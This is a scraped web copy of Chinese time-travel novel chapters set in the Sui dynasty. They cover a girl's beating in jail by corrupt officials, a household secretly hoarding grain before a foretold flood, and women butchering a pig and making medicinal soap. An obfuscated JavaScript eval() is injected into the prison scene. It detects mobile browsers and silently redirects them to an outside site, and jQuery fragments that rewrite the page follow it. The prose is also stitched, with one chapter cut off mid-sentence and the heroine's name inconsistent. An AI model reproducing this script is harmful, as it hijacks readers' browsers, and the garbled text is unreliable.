官差见她扁平个小身板,裹着件破破烂烂的小衣,小衣破口处的皮肤也全是被鞭打的可怖伤痕,小衣微卷,露出的肚儿上,还青一块紫一块的。 又抓了两把莫姻背上的小衣,官差便只拆了她头上的珠花,掳了她的首饰,没再往里搜。 扔了几件沾满血污的囚衣,和几双破烂的草鞋给她们后,锁上了牢房门。 牢房终于安静了下来,裸着身子的赵妈妈忙着穿囚服,还要帮起不来身的杨嫂子穿。 莫姻见官差们亦走到牢房外的木几上,正忙着喝酒,便躲到了他们的视觉盲区。 她背过身去,从小衣中翻出莫母准备的黄连粉,洒到了自己绽开的皮肉上。 疼得此牙咧嘴,亦不敢叫。 莫绸觉自己有些发热了,被烧得迷迷糊糊也不敢睡,就怕一睡不醒。 她努力听着周围的响动,来让自己清醒。 这间牢狱应关了不少人,她听到了孩童的号啕、妇人的尖叫、老太的嘶哑……除此之外,还时不时就有撞墙般的咚咚声。 莫姻不敢去想这些声儿是怎么发出来的,她只觉得自己越发冷,越发困。 身子开始寒战,不知是因高热,还是因恐惧。 官差们喝大了,也不把她们几个女人放在眼里,径直大声议论开来: “我就知道这队人有钱,这几个娘们儿,身上值钱的东西可不少。”见有别的事可琢磨,她忙从其他可怖的声音中逃脱出来,尖着耳朵听。此时,只有愤怒和恨意,能让她坚持下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823030|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “看着真像大户人家的家奴,不会出事吧?” “能出何事,我们可是奉旨办案,先不说有没有人找得到她们救下,就算救下了,我们也是正常拷问,有何不可。” “你还是太年轻,这可是按章办事,不过都是些老娘了,这皮肉松松垮垮的,没甚性趣。” “李二狗这回没来,不知道多后悔,他最喜欢这半老徐娘。”“切,幸好黄大没来,不然这小娃娃可不能全须全尾了,还是我们心善。” 莫姻听着直犯恶心,使命捏住手中的荷包。 赵妈妈换好衣服,约莫也是听见了,爬过来紧紧按住她握荷包的手。“赵妈妈,就算不能杀了他们,我们真的不能跑吗,我有办法。”赵妈妈一把捂住她的嘴,唇死死贴在她耳旁道: “可不能说这种话,会死的!再等等,再等等,跑了我们就真成逃犯了。” 说罢,赵妈妈便牢牢抱住她,也是困住她做出过激的反抗。 挣脱不开赵妈妈,莫姻只能死死瞪着那几个人,将他们的脸深深刻进脑海,一直盯到自己再也撑不住了,倒在了牢内。 夜半,牢房外,终于传来了一阵马蹄声。 伴着一声烈马地嘶鸣,莫绸醒了过来。 此时,她正趴在蔺娘子的背上,小马驹跟在蔺娘子身旁,马背上驮着小狼崽。 莫姻伸出手,想要摸摸小马驹,小马驹忙将头蹭过来,抵上了她的手掌。 蔺娘子瞧她醒来,忙安慰到: “你可没白要它们,一个小马居然能识路跑回来,一个小狼崽居然能靠着气味找着你,真了不起。” “我就知道,它们一定可以。” 莫姻虚弱地说着,感觉自己浑身被火烧着,却还坚持地问, “蔺夫人,那些官差呢?” “他们照章办事,只是手段激烈了些,被上司踹了两脚,扣了半月的俸禄。”蔺娘子咬牙切齿道。“就这般?只是这样?”莫姻不知何处来的力气,悲愤地回头,差点从蔺娘子身上翻下来。她想要回头看看,看看那些官差脸上,是不是带着黑夜都无法遮掩的得意,看看他们穷凶极恶的嘴脸。只是身子一晃,头又晕得厉害,感觉世界在天翻地覆,她只能将晕倒前瞧见的面孔在心中反复温习,又继续问道: "他们用得何理由?" “你们来时经过破庙,那儿出了大案,周围农户说在案发前有见过你们入那破庙,他们便抓了你们问话。”"可是没有问我们!"“钟管事和高府护卫们都被询问了,可能是见你们妇孺,便没问。” 蔺娘子又嗤笑一声道, “都是借口,我看就是馋上了你们的钱财,羊和羊奶等因着是高府的,我们都要回来了。 你们的金银首饰,他们可说了,根本没瞧见过。" 莫姻出门时,为了方便只戴了两个银手环和一些小巧的簪花,连母亲求的长命锁都没带,因而损失不大。 赵妈妈作为高夫人身边的代表,已是习惯了穿金戴银,因而损失了些贵重首饰。 最离谱的是杨嫂子,瞧着不声不响,身上全是招人的首饰。 露在外面的就不说了,穿了鞋袜的脚踝竟圈了金链,双臂贴肉还戴了臂钏,被官差搜得最仔细,从头到脚摸了个遍。"竟是为了求财,就将我们这般折磨?" 莫姻呐呐道,无法相信,这是多么荒谬,多么不可置信啊。 "顺手捞钱,还能爽 第38章 大业二年,东都建成,杨广便已迁都。 虽众多官员家眷仍定居长安城,但上朝却是要行至东都洛阳的。高老爷因是地方官员,只需每月朔日和望日参加,也就是初一和十五。离朔日不足五日,高老爷只能在同太史曹吃过酒后,就从长安动身前往洛阳。丫鬟婆子们用火笼熨着老爷的朝服,小厮们给马匹们喂草料,备车马。 大厨房热火朝天备着干胡饼一摞、番捻头几碟、玉尖面一笆、蟹 罐一笼,又包了些香嘴的杂碎,芦服蚱、糟腌蟹、松江鱼脍…… 青铜树形的九枝灯架,照得正厅明晃晃。 高老爷同他儿商议了大计,又唤来了儿媳嘱咐她千万瞒下此事。 想着待公爹在朝堂进谏此事后,食馔等物价儿必上浮,高夫人也欲先暗中囤粮。 莫姻回府时,高夫人便喊了丫鬟翠姐儿唤她来,叮嘱她勿声张此事。 这般不确定之事,莫绸自不会四处宣扬,遂一口应下。 她与莫母啖谷米不多,只是想着秋曜坊众女子独住,灾日若送粮,实属太打眼了些,便同夫人商量着给她们院子也囤些。高夫人让忆梅去钱匣子里数了十几贯钱,让她领着吴娘子,明个一早便去。吴娘子也是吃瓜人,在她耳旁问了十万个为何,她也不理,只管拉她去了东市的米行。 米行老板姓梁,身形富态,腆着个大肚,还扎了条粗腰带,上吊着串钥匙,同他那被挤出的肥肉,碰得丁零当啷。见来了大主顾,梁老板亲自领着她们瞧陶瓮里的米,这排是糯米、香米、籼米,那列是赤米、白粲、碧粳……忽而,一旁冲出个胖丫头,提着扫帚,绕着陶瓮,朝地上疯扇。 “吱吱吱——” 一只硕鼠逃窜而出,见状,梁老板张开胳膊,摇着身子,帮着堵,竟还让莫姻和吴娘子襄助。四人合力,将它围追堵截,胖丫头一把子将它敲晕,拽住它尾巴,边倒立晃荡,边开口骂:“死耗子,把你嚼的米给我吐出来,把你一家子藏哪儿也给供出来!”梁老板摸出个手帕擦着双鬓豆大的汗,同她们解释:“近来也不知怎的,这耗子猖獗得很,白日就敢出来偷粮。 可能是我行今岁这米太好,你看把这畜生都馋得不行。” 梁老板是怕她们不买而自夸,莫绸却想着,熬过冬日的老鼠还要存粮,何不是一种预警呢!油肆买了几大陶罐的油,还让铺主在封口的木塞上,涂了层蜡。盐铺称了盐,酱醋坊内清酱、鼓酱共打了半斛,酸栗又要了一斗。 想着若发大水,淹了山林,柴火定亦短缺,价儿亦会上浮,便又去烧炭行称了几石柴薪,还要了几笼金贵的木炭。 而在高府的赵妈妈,为着如何能暗中采买高府这么大一家子的粮食,也是想破了脑袋。 最后,还是想到了莫绸借的木牛流马。 她翻出最大的几辆木牛流马,将粮食装在牛肚儿内,面上罩一层肉,再盖一层菜。 就算有人不小心揭开,也只会以为麻袋里装的萝卜、芋头等。 最多骂几句高府人喜欢吃草,断不会怀疑到他们在囤粮。 况且这样一来,肉菜也能多捎带些。 因而,今年府中除了羊,农庄上来的木牛流马都拉了十来趟。 念着羊肉价贵,想着府中的丫鬟婆子,高夫人又派人去农庄的猪圈,足足拉了七头猪。 也不能白给了众人,算着来年要涨价,为了让高府下人们多囤些吃食,便按着现今的市价又降了一层卖给大伙儿。 “定是要死的猪卖不出去,用来打发我们。”尖嘴猴腮的婆子阴阳道。“你这人怪道,夫人可不是这般人。”瞧着是在夫人院中当值的婆子回嘴。“我信夫人,但我家没存银!”粗布短衣的丫鬟喃喃,挺着大肚,身后还背了个娃。"来年亦能买,说不定豚肉也降价了!"包着头巾的厨娘,嚷嚷出声。 院中众人瞧着拉来的大肥猪,众说纷纭,本是凑热闹的莫母见状,却是买了不少。 莫母想着,这闺女长大了也换了口味,比起价贵的羊肉,更爱烧些豚肉食,腊肉、腊肠也被她用光溜了,今年有钱了,多置办一些,让她吃得痛快。是的,除了莫姻小打小闹赚了些零花钱,莫母是真的赚钱了。 因着莫母在外接生,也让高家在七八品官宦人家中有了存在感。虽都不是大官,但难保哪一日就飞黄腾达了,莫欺少年穷,这些皆为人脉。是以,除了高夫人,连高大人都支持她外出帮忙,甚至有时主动同她介绍。 接生的红封都归她自己得,有金贵的吃食,其一回甚至还得了株小人参,但更多的却是银钱。 她还拿着高府食客和容焕阁的月钱,两份外快加成,不过月余就攒下了十余两银子。 而莫姻心神还在刚刚莫母的自言自语中,心里毛毛的: 阿娘,我不是近来爱吃腊肉,我是换人了,我在现代就爱吃! 腊肉不健康,但就是很爱! 这边高府众人在分猪肉,那边高老爷也终于到了洛阳城。 洛阳位于中原地区的中心位置,北临黄河,南通伊阙,东接虎牢,西连函谷,交通经济本就发达。 待杨广迁都后,大规模的宫殿、庙宇,让其显得更加富丽堂 皇。 高老爷一面感叹还是杨广这老小子会享受,一面修面汤浴,欲明日光鲜登场。 卯时未至,高老爷便换上了紫袍。 大隋官服有着严格的等级规定,五品以上官员着紫衣,六品以下兼用绯丝。官员们头戴冠冕,腰间系着配饰,伴着玉饰清脆的声响,行至乾阳殿。待进入正殿向杨广行稽首礼后,太史曹甚大人开始进谏: "北斗七星位置有变,春日竟已至。" 听及此,高老爷便觉自己要被抢功劳,也欲上前禀告,却被一旁的崇太史曹狠狠拉住。杨广立于上首,听罢龙颜大悦。甚大人复言: “然据冬日载录,雨泽甚丰,近日又气暖异常,恐春日有水祸,望陛下早做防御。” “好啊,我告你之讯,你转头说予了他。” 高老爷对着同为太史曹的崇大人,低声骂道,"你们合营抢我功,不亏心?快将我那些好酒吐出来。"“他早有察觉,何来抢你功一说。”崇大人面色不改,仍紧紧抓了高老爷。见此,高老爷更气得牙痒痒,脸都憋红了。 眼 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杨广倏而瞧见高老爷杵在崇大人一旁涨红着脸,复问:"高大人,有何见解?"“皇恩浩荡,我是被他那一派胡言,气红了脸。” 看清形势,高老爷迅速反应,恭维道。 “皇恩浩荡——” 众大臣见识了杨广的残暴,皆是些能屈能伸之人,纷纷俯首称赞其英明神武。下朝后,崇大人见高老爷一直用颤颤巍巍的手,握着面巾,擦额间细汗,便挑眉戏谑道:“那些好酒,没白喝你的吧?” 高老爷不住点头,面色也由方才的憋红,吓成了现今的惨白。当真是一朝天子一朝臣啊。隋文帝时期,亦出现过天灾。 开皇十四年,关中地区出现了严重的旱灾,开皇十八年,河南八州大水。每每大灾前,必有蛛丝马迹,隋文帝对于谏言的人很是褒奖。 若预判错误,只赏赐白银万两;若预言中,升官进爵更是必然。 因而当听到有灾情时,高老爷子才一心想着确认后上报。 本是怕人抢了先,现在却是庆幸因着没得到崇大人的肯定,而踌躇了半晌。 但经过这一遭,高老爷更加确信,天灾降至。 为了不在这个节骨眼上触杨广的霉头,高老爷硬生生等到其他官员都走光了,才装作不紧不慢地离开了洛阳。实则一上了官道,他派了心腹送信洮州后,驾马狂奔,回了长安城。 一回府便叫来高大人和高夫人,连久不出门的高母都唤来了。先是言明春日必发大水,后又告知了杨广的态度。 “朝中有眼力的人家,应皆已猜到,尔等需小心筹谋,若招人眼,传到圣上耳中,我们高府必瞬间倾覆。 此事除了我们,其余知晓之人皆要封口。"高老爷一字一句地说道,锐利的目光扫过在场众人。高大人拱手应下,眼余光直往高夫人处瞥。只见她面色平静,声都未见半分颤抖地应下。出了前院,高大人意味深长地对她道:"看好你的小食客,别让她丢了性命。" “官人在说甚,我的小食客这般小,什么都不懂。” 第39章 而什么都不懂的莫姻,正在秋曜坊围观众女子杀猪。 除了高府的七头大肥猪,高夫人还让人另拉了一头猪送来了秋曜坊。 一粗布麻衣的汉子,赶着头膘肥体壮的黑鬃猪,进了院。 莫姻怀中的小狼崽,一个兴奋地扑了上去,要同它顽。 猪鼻子拱着它,三两下就将它抛飞到了药草堆里。 “哎呦,小狼崽!” 莫绸冲过去,薅药草堆,身后的猪也上来帮忙,拱了她的屁股,将她也推到了药草上。“啰啰啰啰——” 周妈妈喊着号子,忙上前,拉了黑猪身上的牵绳,将它往后拽,也差些被带翻。 吴娘子快步上前,拔出利刃,一刀割了它脖子,身后追上来的晚娘,眼疾手快地放了个比脸大不少的脚盆盆接血。“啊——哇” 一旁来做客的崔姐儿,半蒙着眼,惊呼连连:“你们都是些怪人,这都不怕!” 武娘们正围上去帮着剃猪鬃,又黑又短的毛挤满了彘刃,绣娘们忙卷了窄袖,用水瓢舀了热水,帮着冲洗。挎着个药篓的药童,正捡坝子上晒的肉蔻、白芷、山奈和草果,预备一同煮了去猪腥。毕娘子在同她带的药童讨论,要多少曼陀罗子粉才能将猪迷倒。 更古怪的是秦娘子,还摸出银针,在猪肥腰荐的十字部摸摸戳戳,似在捣腾着猪的穴位。 毕竟,猪也是有穴位的,如山根穴,能帮助猪开窍醒神,治疗中暑、感冒、昏迷等症状;后三里穴,也对猪的脾胃功能起调节作用。而最小的莫姻,目不转睛地盯着,口中还念叨着: 红烧肉、锅包肉、蜜汁叉烧、菠萝咕噜肉……吴娘子手法这般老道,肉定好吃。 肥猪,若在屠宰的过程中,受到惊吓和挣扎,其肉中会产生乳酸堆积,影响肉的口感。 见众人皆淡然,崔姐儿也壮着胆子,帮着将武娘剁下来的肉搬到芭蕉叶上晾着。 莫姻特意让吴娘子将猪皮剔下来,架了火,烤猪皮。 烤好的猪皮,只洒些粗盐、胡椒粉,就又香又糯,还有嚼劲。 周妈妈还指挥着众人,两个猪后膀,做成火腿;两个前腿,剃骨剁肉,做咸肉;猪头肉,泡了盐卤,凉拌做下酒菜……烤完猪皮的莫姻闲不住,见武娘们将众人都不爱吃的肥肉都挑了出来,忽而想了——芋糖玻璃肉。 此为潮汕传统喜宴中“二十四道菜”的必备佳肴之一,潮汕人“食桌”讲究“头甜尾甜”,而芋头玻璃肉正是其不可或缺之一。留下一部分猪肥膘熬油,剩下的烧了沸水煮。 约莫小半刻钟后,捞起,用粗布攒干水分,切成条,再加入高梁酒去腥。 抱来个封口糖罐,在膘条上,洒粗砂糖,码上后,放进陶罐。 一层肥膘,一层糖,铺在陶罐内,再严严实实密封上。 “到时我给你们做咸蛋黄玻璃肉卷,一口下去又酥又甜……” 因需腌制三四天,莫姻又描述地格外香,吊足了众人的胃口。一旁听着的崔姐儿小肚咕咕叫,觉嘴角似在淌哈喇子,下意识用手去遮。“呕——” 崔姐儿被一阵恶臭捂嘴,一面干哕,一面往水缸旁跑。 听着这般动静的莫姻,忙望了过去,原是崔姐儿在帮忙洗猪胰子,晚娘欲用其做澡豆。 将猪胰子的血污洗净,拈掉上面的脂肪和经络,研磨成糊状,再按着比例加入些豆粉、香料等,就做成了洗涤用的澡豆。 澡豆早在隋以前便有了,南朝宋刘义庆所著的《世说新语》中,还专门记载了一个澡豆的故事:“婢擎金澡盘盛水,琉璃碗盛澡豆。” 因着从诞生起就是王公贵族的专属,晚娘还是在皇宫内当差时,同老嬷嬷学的。 除了加了些青木香、钟乳粉、蜀水花等香料,老嬷嬷的方子中还加了玉屑和真珠。 玉屑能增加澡豆的质感和光泽,而真珠就是珍珠,能使皮肤光滑细腻。晚娘一面同众人解释,一面将香料按比例洒了进去。正欲添绿豆粉,就被一旁的莫姻拦住了。 莫姻自穿来后,日常就搓些自己的小衣、内裤,洗浴沐发用着皂荚也没觉着不便,时不时莫母还给她泡泡艾草水、香汤浴,更觉舒坦。现今才觉,自己还是过得太糙了,竟连香皂都没想起。她用草木灰代替绿豆粉,又加了些皂角、猪油、砂糖进去做成了香皂。晚娘试了试,发现果真比那澡豆好用得多,遂决定都做成香皂。 瞥见院中摊着的草药,莫姻又同二位医女商量着,再加些白附子、川穹、商陆等香药材进去,做成药皂。 不仅清洁效果极佳,兼具滋润肌肤、预防皮肤病等功效,还能美白祛斑,若放于容焕阁售卖,定亦能受到主顾们的追捧。一听着还能赚钱,大伙儿纷纷尖起耳朵听,绣娘们还提出可以染色,更增加美感。 用蓝草染出天青,红花、茜草染出胭粉、赤红,栀子染出嫩鹅黄…… 众人听罢皆觉有理,当场便试验起来,红的、黄的、紫的……兔子样、鲤鱼样、莲花样、元宝样……足足做了一大匣。 听着效用这般好,崔姐儿期期艾艾地问: “做成了,当费几何,我能买一盒否?” 不着痕迹地捏了下长裙 底藏着的荷包,她暗自掂量里头的铜钱够不够。 她是想给她阿娘也买一块,嫂子总骂她阿娘身上一股子骚臭味,但她阿娘明明亦不是腌攒人,同她洗的衣物虽未熏香,却亦带着皂荚淡淡的清香。她自是不信,见嫂子不肯亲近阿娘便罢了,还箍小侄儿不让靠近她阿娘,心中更是气得牙痒痒,没少同她哥告嫂子的状。 她兄长却总是尬笑着,顾左右而言他,令她齿寒。 果真应了那句老话,有了媳妇忘了娘! 直到一日她阿娘抱了小侄女,小侄女也捂着鼻,直喊太臭了,臊得她娘直躲进屋子里抹泪。 她以为是侄女也被嫂子带坏了,横了她一眼,忙跟进里屋哄阿娘,却发现阿娘屋内飘着一股子死鱼般的腥臭味。 家中明明没有晾咸鱼,一旁的恭桶倒得干干净净,还洒了草木灰,怎会出现这般味道。 而此时,阿娘一面哭,一面还手不停地搓着脚盆里的内裤。 见状,她正欲安慰阿娘,竟瞧见阿娘的内裤上头贴着私密的位置,淌着铜绿锈黄的污秽,还混着些豆腐渣滓,而恶臭就是从这盆里传出来的。“阿娘,这是怎么回事。” 崔姐儿很是不解,一直追问。直把她阿娘眼泪都搅没了,羞红着脸道: "约莫是内裤洗得不净,连带着私密处又臭又浓,还时常痒得钻心,连你爹都嫌我,日日睡在那勾栏。" 说罢,又抓着脚盆,号啕大哭起来。 崔姐儿听着又急又气,吼道: “你别给他找借口!我得给你请个大夫。” 一面说着,一面就要往外冲,却被阿娘一把抱住。 "我儿啊,阿娘知你孝道,但这是要你娘的命啊,叫外人知了去,你娘可怎么活啊!" 阿娘死死捆着她,泪顺着她脖子,滴进了她心里。 她不明白,为何她阿娘不怕病痛要了她的命,反而恐惧求医问药,让她没法活? 爹见不着,兄不答话,嫂子一脸鄙夷,稚子只会嚷嚷着臭,什么也不懂。 没法求得答案,但她却没有放弃要给阿娘请大夫的念头。 先去了医馆,向药童一打听,请个大夫竟这般贵,家中嫂子握着银钱,自不会给她半分,她便帮着别家补旧衣,一分一分的攒。 为了赚铜钿,她什么缝补的活碌都接,连郭大的臭鞋破袜子都帮忙补了。 眼瞧着翠帷廊的街坊邻里都被她求着缝了个遍,却还是没能存够请大夫的钱。 最可气的是哪些个贪色汉,每每找她做活碌,还要动手动脚占便宜。 甚至巷口的仇三,见着她就面浮不正之色,还一个劲地对着她笑,腮肉横生,咧开的嘴里,满口黄牙,出言就让她做外室。 她实在受不了了,就想到了秋塘坊人多,平日间外出生意也很忙,应也有余钱,说不准能求得些活。 尽管有些难以启齿,觉着丢脸,但都是女子,不会有多脏多臭,更不会对她毛手毛脚。只是众人一直忙,她便迟迟未敢问出口。 晚娘瞧了瞧众人的神情,又见周妈妈和莫姻均点头,方道: “今个你着做了这么多,本就该分你些,快别说这些外道的话。” 说罢,晚娘从函盒内专挑了些染色好、模样全的,一旁的紫烟还扯了个桑皮纸袋,帮她都装上,塞进了她手中。 "不不不,我虽没几文钱,但断不能白要的。" 崔姐儿一面拉紧袋绳,不让袋子滑落,一面扯下长裙内的荷包,将里头的铜钱都塞进了紫烟的手中。 她方才可瞧见了,都是用得好料,药材她虽不知都有些啥,但瞧着就不便宜,她也没东西回礼,可不能白要人家东西。送走不肯再留下用膳的崔姐儿,莫绸捡了些剩的边角料,欲为大家做刨猪汤。 杀年猪,做刨汤。 用猪棒子骨,吊高汤的同时,她同周妈妈洒了些面粉洗猪下货。洗好的猪下货,先加些丁香、姜片煽—煽,再倒入铜锅中,添上奶白的高汤。待大火煮沸后,莫姻让周妈妈帮着架了火盆,吊铜锅;又顺手调了几个秘制料碟,做蘸水。原以为众女子约莫接受不了猪下货,谁知一个比一个吃得香,一顿晚膳竟从酉时足足吃到戌时初。见大伙儿都不顾形象地扶腰摊在莞席上,莫姻铺了毛毡毯,让众人都围坐过来。周妈妈拿了账本,莫姻坐于中央点账。不过月余,刨去成本,竟赚了两百余贯。 "夫人念着要过元宵了,让我先同你们发了月钱,别省着,多买些吃食。" 莫姻一面为众人发钱,一面暗示道。 这也是高夫人的意思,除了便于她们囤些吃食,更是为了让她们手里有钱,心中不慌。 莫姻还没说完,春桃便连连点头。 元宵定会被家中盘问有无发赏钱,她想着得早早花光才能躲得清净。 买了吃食是最好的,最终进自己肚子也不算亏。晴姐儿则念及最近早出晚归的赵妈妈,若有所思。 多数时候留在秋曜坊的晚娘,自是发现后屋堆了颇多粮食,隐隐有所怀疑。毕医女和秦医女,想着溢价的黄芪,亦有所猜测。 前几日去进货,竟发现黄芪价上浮的厉害,但初春本就是出黄芪的好时 候,怎会如此。 因着一时好奇,便多追问了两句,谁知多数药材铺子皆言黄芪受了涝灾,被淹死了。 黄芪本就是喜涝药材,甚至积水的条件下也能存活一二,现今长成的黄芪这般少,定不寻常啊! 后来,她们有闻及小东家拉着吴娘子囤粮,便同黄芪涨价串联上了,约莫猜了个大概。 不过,既然小东家没说,自是不能说,她们就更不会多嘴问,反正已做了准备,她们便趁药材还没溢价得厉害,多囤些罢了。 同众人这般说完,竟已至戌时末,莫姻忙拉着周妈妈和春桃往高府赶。 高府内,咬死不承认是莫姻说的高夫人,正唤了当日在场的丫鬟婆子,统统敲打了一番。 “若有人嚼舌,小心被老爷送去绞了舌头。” 除了秋塘、郑妈妈等心腹,见在房中伺候的余下丫鬟俱跪地求饶,就差发毒誓了。 眼瞅着要将她们吓破了胆,高夫人方放过了她们。 若连她这一关都过不了,难免被有心之人抓住把柄,若真出了事,她可就成高氏一族的罪人了啊。 心中叹了口气,高夫人屏退旁人,又留了赵妈妈询问存粮之事,还让郑妈妈派人去角门守着,待莫姻一回来,便带她过来。赵妈妈汇报完囤粮情况,又说到买粮时遇见的怪相。 因着为保有更多余粮,除了从庄子上运粮来,高夫人还令赵妈妈,在各坊、东西两市大型米行,不留痕迹地买粮。 “夫人,我今个在东市米行,瞧见了光禄卿家中管事。” 赵妈妈回忆着晨间的事,低声同高夫人禀告道。 因着光禄卿府中负责采买的管事是个八尺大胖子,她一眼就瞧见了,闪身躲了他去。高夫人心中一凛,复而自我安慰道: “他们日日酒醴膳羞之事,朝堂上出了这么大的事,定察觉到了。” 隋朝时,光禄寺主要负责皇室饮食,包括食物的供应、膳食的安排等,统辖太官、肴藏、良酝、掌醯等署。而作为光禄寺长官的光禄卿,这般迅速便回味出其中深意,自属寻常。 “随后,我在平康坊的米铺,瞧见了司农卿家的; 在永兴坊粮店,认出了大鸿胪卿家的; 在东市的米仓瞅见了,正互相寒暄的太仆卿和都水台使家的管事。"赵妈妈冷静直白道,戳破了高夫人的侥幸心理。 因着瞧见了光禄卿,赵妈妈每去一家米肆就更加小心,时不时便躲于大柱后观察。皆为长安城内显赫人家的采买管事,赵妈妈虽不是全都认识,但面孔看着却是熟悉的。先瞧见那买粮的架势,再派人谨慎打听一番,知了是哪家管事,都记下来向高夫人汇报。 “何况,昨日粮价还未曾有变,今儿一早我再问,每斗竟涨了两钱。” 赵妈妈复而加磅,很是忧心,他们买的量本就大,别说两钱了,就是涨一分都不是小钱。听罢,高夫人忙提了算盘,手飞速拨完,果真是一大笔钱。 原本此事不宜宣扬,她欲趁着粮食未溢价,让赵妈妈尽量囤,若到时仍不够,再唤自家众管事帮着收,现今看来,众官员反应得比她想象的快。也不自个瞎琢磨了,她当机立断派了秋塘,唤府中与食馔相关的管事前来商议。 因而,莫姻等人方急急忙忙回了高府,就又被翠儿拉着匆匆往夫人院中赶。 周妈妈自同她一道,春桃便先回了下人院。 因着春桃明日轮休,她已月余未归家,怕老子娘一个忍不住,杀到她上工处逮她,闹得人仰马翻,遂主动回来了。“呦,大小姐还知有家啊!” 春桃那挺着个大肚子的二嫂,正用篦子,帮着她娘通头发,见了她忍不住恨恨道。 这么大一家子人,挤在这间破屋子里,到是这小姑子飞黄腾达了,日日舒舒服服的,也不说帮家里一把。眼瞧着春桃头上珠花,心中更嫉妒得紧,手中不自觉大力了些。 “啊——” 通到打结处,也没在意,一个直溜下去,疼得春桃娘此牙咧嘴、面目扭曲。 “哎呦,嫂子怎这么不小心。” 春桃三妹见状,忙夺了大肚嫂子手中的篦子,争着去娘跟前表功,说不定明个一早还能多分口粗饼吃。她二嫂翻了个白眼,心中暗骂,这死老太婆,久也不洗发,臭得很,熏得她眼都睁不开。还教她们是为了显得头发光溜油亮,瞧着利落敞亮,主子也更喜欢。 放屁,是她头上除了个剃了个前额,包了条假金丝发带,再无旁的;人家得宠的大丫鬟头上,簪金戴银的,油发可插不牢实。方才她通下来不少白的、灰的,也不知是发屑,还是虫啊、卵啊,也不知有没有虮虱蚤蟊。 想着她愈发觉得身上都痒了起来,忙坐得离春桃娘更远了些。 不过也远不着哪儿去,这三四十平米的下人房,要住下十几口人,还能躲哪儿去? 春桃爹娘都是高府家生子,本应混得不错,但春桃娘是易孕体质,成亲三年,便生了三个娃。 因着时常坐月子,也不用上工,家中还有婆母好生伺候着,春桃娘便生了惰性。 也不想着多做些成绩往上升了,就日日同男人在帐中厮混,成亲八年,竟生了十个娃。 觉着自己劳苦功高了,还日日同婆母干仗,闹得一家子鸡飞狗跳、不得安宁。 婆母先受不了了,借口这般多人,家中住不下了,嚷嚷着要分家。 正想握财政大权的春桃爹娘一口应下,谁知公爹公婆死活要跟着二儿子过活。 春桃爹娘气不过,放下话来,若是如此,他们也就不会给养老钱了。 原以为能威胁住公爹公婆,谁知老两口连夜收拾包袱,同他二弟一道求了老夫人,多分了一间下人房,搬了出去,搞得两家人几乎断了亲。 这时,春桃娘才发觉家中锅都揭不开了,因着前些年没努力,年岁大了各院皆不要,只能在浣衣院中,当个粗使婆子。 而春桃签也是个偷奸要滑的,日日想着占人小便宜,最后被调去帮着喂车马,日日同畜生打交道,这回人的便宜占不到,还学着同人赌马,又折进去不老少钱,让本就贫穷的家,越发雪上加霜。 这般多孩子,春桃多娘自顾不过来,春桃从小就知道,要想吃饱、穿暖必须得把父母哄好,还要将哥姐哄好,才能得到她们穿剩下的破衣裳。 因此她为人很是圆滑,甚至自己攀关系,进了老夫人院子,住进了老夫人院中的下人房。 但春桃心中很有主意,她知道大丫鬟们同她岁数相差无几,若一直留在老夫人院中,待大丫鬟们要出嫁时,她也差不多要出嫁了。 若没法子成为大丫鬟,就没法攒钱,更不会被许给好人家,逃脱这恐怖的一家,正巧遇上莫姻开了铺子,她方找着了出路。 听了她嫂子的酸话,春桃也懒得理,只同她爹娘打过招呼,便翻出自个儿的脚盆洗漱。 她许久未回,自没了她的床, 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春桃一面躲喜郝怀里哭,一面暗自发誓,回秋曜坊立即便要将银钱都换了粮食,皆存着自己啖,绝不给她们留半个子儿。而高夫人院中,明明是夜里,却恍如白昼。 正屋内坐满了管事,见莫姻和周妈妈来了,高夫人抬手径直将莫姻唤了过来,周妈妈自觉立到了赵妈妈身旁。高夫人拉她坐到了身侧,一起听管事们的汇报。 管事们因不知详情,亦是一头雾水,不知夫人为何急召,但见一个小娃娃都能旁听,想来也不是何大事,遂放下心来。高夫人尤其听了卖粮仓店铺的管事汇报,让他们近日不仅不要大额售粮,还要多多进粮,若能从官府收粮是最好的。因着杨广近来频频开展大工程,还总是发动战争,一掷千金的东都方落地,就又开始穷兵黩武。前刚令刘方攻占城,刘方一走,占城王商菩跋摩就在比景、海阴、林邑三郡故地复国①。此战隋军死者十之四、五,主帅刘方也病死于班师途中。方才给了工程征讨的开支,后又要给隋军将领的遗孤们安置费。因而国库告急,官府不时便要将存粮投入市场售卖,以获取财政收入。 而如高府这般人家,自有人脉,是能从官家手中买到合法粮。 当然,这一举措又方便了隋朝的蛀虫们偷粮出来贱卖,以赚取私用,高夫人亦瞄准了这头。 “这些个偷粮卖的,都给我盯牢了,一有出手,定要都包圆了。” 这些都是潜规则,本不该摆上台面说,但现今高夫人已顾不得了,着重给米铺管事强调必要拿下。 “夫人这般要求,难道今年是荒年?”米铺管事很有警觉,听罢立即反应。骤然,大堂本还有些窃窃私语不当回事。 此言一出,皆鸦雀无声,众人目光都朝高夫人望了过来。 高老爷先前才下了封口令,况且她也不能当着这么多人暴露而造成恐慌,因而只淡淡道: “今年老爷子在洮州的人手皆要归,恐府中耗粮过多,元宵后粮食本就要涨,尔等定要多囤粮,才能维持府中收支平衡。” 众人听罢,想着高老爷子在洮州的一摊人,皆信服地点点头。 此事虽是为搪塞众人,但却也是高夫人烦恼之处。 因着高老爷子常年在洮州任职,那处都快成一个家了。 高老爷子知水祸后,驾马疾行回长安前,竟还不忘通知洮州的莺莺燕燕,让高母心中愈发不满。 高母特地又唤了高夫 人去,话里话外都是让她看紧家,断不能让人分了权儿去。 听着婆母的敲打,高夫人内里亦是抱怨连连。 除了众多的丫鬟小厮,娇嫩欲滴的妾室,就连那没名分的外室,这老爷子竟都要带回来。年轻的姬妾不打紧,叫—声小娘供着便是,最让人焦心的,是那有孩子的妾室。那些高大人的庶兄们,最大的只比高大人小五岁,生他的姨娘还是抬了房的贵妾桂小婆。 因着跟高母合不拢,一直陪着高老爷住在洮州,这番回来,还不知要闹成何样。 